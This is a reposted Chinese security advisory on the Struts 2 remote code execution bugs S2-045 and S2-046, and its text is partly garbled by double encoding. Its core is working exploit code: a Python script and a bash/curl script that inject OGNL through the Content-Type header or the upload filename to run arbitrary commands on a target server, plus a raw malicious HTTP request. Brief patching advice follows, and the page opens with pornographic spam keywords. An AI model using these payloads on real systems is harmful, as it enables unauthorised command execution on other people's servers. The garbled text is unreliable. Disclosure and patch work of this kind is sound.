日韩性视频-久久久蜜桃-www中文字幕-在线中文字幕av-亚洲欧美一区二区三区四区-撸久久-香蕉视频一区-久久无码精品丰满人妻-国产高潮av-激情福利社-日韩av网址大全-国产精品久久999-日本五十路在线-性欧美在线-久久99精品波多结衣一区-男女午夜免费视频-黑人极品ⅴideos精品欧美棵-人人妻人人澡人人爽精品欧美一区-日韩一区在线看-欧美a级在线免费观看

歡迎訪問 生活随笔!

生活随笔

當(dāng)前位置: 首頁 > 运维知识 > linux >内容正文

linux

linux struts2漏洞,重大漏洞预警:Struts 2 远程代码执行漏洞(s2-045\s2-046) (含PoC)

發(fā)布時(shí)間:2024/10/12 linux 37 豆豆
生活随笔 收集整理的這篇文章主要介紹了 linux struts2漏洞,重大漏洞预警:Struts 2 远程代码执行漏洞(s2-045\s2-046) (含PoC) 小編覺得挺不錯(cuò)的,現(xiàn)在分享給大家,幫大家做個(gè)參考.

背景介紹

近日,安全研究人員發(fā)現(xiàn)著名J2EE框架——Struts2存在遠(yuǎn)程代碼執(zhí)行的漏洞,Struts2官方已經(jīng)確認(rèn)該漏洞(S2-045,S2-046),并定級為高危漏洞。

Struts2?的使用范圍及其廣泛,國內(nèi)外均有大量廠商使用該框架。

Struts2是一個(gè)基于MVC設(shè)計(jì)模式的Web應(yīng)用框架,它本質(zhì)上相當(dāng)于一個(gè)servlet,在MVC設(shè)計(jì)模式中,Struts2作為控制器(Controller)來建立模型與視圖的數(shù)據(jù)交互。Struts 2是Struts的下一代產(chǎn)品,是在 struts 1和WebWork的技術(shù)基礎(chǔ)上進(jìn)行了合并的全新的Struts 2框架。(來源:百度百科)

漏洞描述

使用Jakarta插件處理文件上傳操作時(shí)可能導(dǎo)致遠(yuǎn)程代碼執(zhí)行漏洞。

S2-045漏洞影響

攻擊者可以通過構(gòu)造HTTP請求頭中的Content-Type值可能造成遠(yuǎn)程代碼執(zhí)行。

#!?/usr/bin/env?python

#?encoding:utf-8

import?urllib2

import?sys

from?poster.encode?import?multipart_encode

from?poster.streaminghttp?import?register_openers

def?poc():

register_openers()

datagen,?header?=?multipart_encode({"image1":?open("tmp.txt",?"rb")})

header["User-Agent"]="Mozilla/5.0?(Macintosh;?Intel?Mac?OS?X?10_12_3)?AppleWebKit/537.36?(KHTML,?like?Gecko)?Chrome/56.0.2924.87?Safari/537.36"

header["Content-Type"]="%{(#nike='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='ifconfig').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new?java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}"

request?=?urllib2.Request(str(sys.argv[1]),datagen,headers=header)

response?=?urllib2.urlopen(request)

print?response.read()

poc()

S2-046漏洞影響(更新)

觸發(fā)條件

上傳文件的大小(由Content-Length頭指定)大于Struts2允許的最大大小(2GB)。

header中的Content-Disposition中包含空字節(jié)。

文件名內(nèi)容構(gòu)造惡意的OGNL內(nèi)容。

POST?/doUpload.action?HTTP/1.1

Host:?localhost:8080

Content-Length:?10000000

Content-Type:?multipart/form-data;?boundary=----WebKitFormBoundaryAnmUgTEhFhOZpr9z

Connection:?close

------WebKitFormBoundaryAnmUgTEhFhOZpr9z

Content-Disposition:?form-data;?name="upload";?filename="%{#context['com.opensymphony.xwork2.dispatcher.HttpServletResponse'].addHeader('X-Test','Kaboom')}"

Content-Type:?text/plain

Kaboom

------WebKitFormBoundaryAnmUgTEhFhOZpr9z--

#!/bin/bash

url=$1

cmd=$2

shift

shift

boundary="---------------------------735323031399963166993862150"

content_type="multipart/form-data;?boundary=$boundary"

payload=$(echo?"%{(#nike='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='"$cmd"').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new?java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}")

printf?--?"--$boundary\r\nContent-Disposition:?form-data;?name=\"foo\";?filename=\"%s\0b\"\r\nContent-Type:?text/plain\r\n\r\nx\r\n--$boundary--\r\n\r\n"?"$payload"?|?curl?"$url"?-H?"Content-Type:?$content_type"?-H?"Expect:?"?-H?"Connection:?close"?--data-binary?@-?$@

驗(yàn)證截圖

修復(fù)建議

1. 嚴(yán)格過濾?Content-Type?、filename里的內(nèi)容,嚴(yán)禁ognl表達(dá)式相關(guān)字段。

2. 如果您使用基于Jakarta插件,請升級到Apache Struts 2.3.32或2.5.10.1版本。(強(qiáng)烈推薦)

官網(wǎng)公告

補(bǔ)丁地址

參考

文章來源:安全客

總結(jié)

以上是生活随笔為你收集整理的linux struts2漏洞,重大漏洞预警:Struts 2 远程代码执行漏洞(s2-045\s2-046) (含PoC)的全部內(nèi)容,希望文章能夠幫你解決所遇到的問題。

如果覺得生活随笔網(wǎng)站內(nèi)容還不錯(cuò),歡迎將生活随笔推薦給好友。